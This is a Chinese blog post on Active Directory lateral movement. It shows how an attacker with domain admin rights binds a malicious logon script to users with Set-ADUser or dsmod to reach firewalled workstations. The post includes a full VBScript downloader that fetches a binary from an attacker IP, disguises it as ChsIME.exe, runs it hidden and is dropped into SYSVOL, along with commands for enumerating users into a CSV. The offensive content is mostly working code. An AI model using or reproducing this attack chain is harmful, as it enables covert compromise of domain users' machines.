首页 > 其他分享 >【域渗透】登录脚本下发

【域渗透】登录脚本下发

时间:2022-11-01 17:48:30浏览次数:40  
标签:objXMLHTTP 9F% Set 登录 渗透 objADOStream E6% E7% 下发

0x1、利用场景

当获取到域控权限或domain admin等高权限时,想横向到域内PC主机上对方开启了防火墙,无法通过445、135进行横向利用,可以通过登录脚本绑定的方式获取目标主机权限。

0x2、利用方法

方法一、powershell win2012及以上自带,获取当前域用户信息

Get-ADUser -Filter * -Properties * | sort LastLogonDate | select name,mail,DistinguishedName,LastLogonDate | Export-Csv -Path C:\Users\Public\Documents\user.csv -Encoding utf8

绑定指定用户

Set-ADUser -Identity zhangsan -ScriptPath "download.vbs"

解绑

Set-ADUser -Identity zhangsan -ScriptPath " "

方法二、利用dsmod进行绑定

 

dsmod user -loscr "download.vbs" "CN=john,CN=Users,DC=redteam,DC=com"

 

解绑

dsmod user -loscr "" "CN=john,CN=Users,DC=redteam,DC=com"

刷新组策略

shell gpupdate /force

VBS内容

strFileURL = "http://192.168.172.129:82/logo.ico"
strHDLocation = "C:\Users\Public\Documents\ChsIME.exe" 
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") 
objXMLHTTP.open "GET", strFileURL, false 
objXMLHTTP.send() 
If objXMLHTTP.Status = 200 Then 
Set objADOStream = CreateObject("ADODB.Stream") 
objADOStream.Open 
objADOStream.Type = 1 'adTypeBinary 
objADOStream.Write objXMLHTTP.ResponseBody 
objADOStream.Position = 0'Set the stream position to the start 
Set objFSO = Createobject("Scripting.FileSystemObject") 
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation 
Set objFSO = Nothing 
objADOStream.SaveToFile strHDLocation 
objADOStream.Close 
Set objADOStream = Nothing 
End if 
Set objXMLHTTP = Nothing 
strComputer = "." 
set ws=wscript.createobject("wscript.shell") 
val=ws.run ("C:\Users\Public\Documents\ChsIME.exe",0) 

上传至dc c:\windows\SYSVOL\sysvol\redteam.com\SCRIPTS\目录下,通过方法一或方法二进行绑定后刷新组策略即可

 

参考文章

https://rcoil.me/2018/11/%E3%80%90%E5%9F%9F%E6%B8%97%E9%80%8F%E3%80%91%E5%9C%A8%E5%9F%9F%E6%8E%A7%E4%B8%8A%E4%BD%BF%E7%94%A8cmd%E6%9B%B4%E6%94%B9%E5%9F%9F%E7%94%A8%E6%88%B7%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E4%B8%AD%E7%9A%84%E7%99%BB%E5%BD%95%E8%84%9A%E6%9C%AC/

标签:objXMLHTTP,9F%,Set,登录,渗透,objADOStream,E6%,E7%,下发
From: https://www.cnblogs.com/websecyw/p/16657762.html

相关文章

  • DM数据库安装、登录和创建用户
    DM数据库安装、登录和创建用户子安拉取镜像wget-Odm8_docker.tar-chttps://download.dameng.com/eco/dm8/dm8_20220822_rev166351_x86_rh6_64_ctm.tardockerloa......
  • 若依-登录白名单设置
    前言由于开发的页面需要以外链接的形式嵌入到其他的web网站,因此,需要将开发的页面设置为登录白名单,免去登录的步骤。  前端修改 添加路由白名单,让页面不跳转到登......
  • sap系统登录时报错,提示hostnameXXXunknown
    用了网上的方法,解决了原因不知道为什么,就是把那个路由器的那一串填上之后,那个大写的W会自动变成小写的w,然后就报错了,无论怎么改都不行,然后网上说去那个配置文件改:C:\User......
  • TortoiseGit的 git token密码登录
    1.点击个人设置2.设置生成Token  3.选择Token登陆,输入生成后的Token即可 ......
  • 解决CSDN不登录就不能复制代码的问题
    看csdn常常遇到这样的问题:没有登录就无法复制代码。如果确实不想登录账号的话,这边有个超级简单的方法解决。1、在书签栏加一个书签2、在网址输入框中填入如下代码3、......
  • Python实现限制主机登录
    importparamikoimportdatetimeimporttimef=open('./hostnames.txt','r')#准备主机文件,一台主机占一行hostnames=f.readlines()forhostnameinhostnames:......
  • Python实现批量登录网络设备
    importparamikoimportdatetimeimporttimef=open('./hostnames.txt','r')#准备好主机文件,一台主机占一行hostnames=f.readlines()#hostnames=['1.1.1.1','2.2.......
  • 微信小程序登录后刷新不了页面,使用switchTab跳转后刷新不了页面
    效果图因为是tab页面不能用redirectTo,得使用switchTab,我使用switchTab但是登录后调用了刷新不了页面,导致数据没显示出来,下图是完成的效果图原先js代码wx.switchTab......
  • HCIP-FusionAccess桌面登录流程
    登录流程获取WI界面(手动)TC/SCVLB(可选)WI域用户鉴权(手动)TC/SCVLB(可选)WIAD获取虚拟机列表(自动)TC/SCVLBWIHDCDB......
  • 海外id登录教程
    苹果帐户(AppleID)是苹果公司为其产品(如iWork、iTunesStore和AppleStore)所引入的认证系统。AppleID作为一个集全功能于一身的帐户,允许用户访问苹果的各种资源。国内的用户......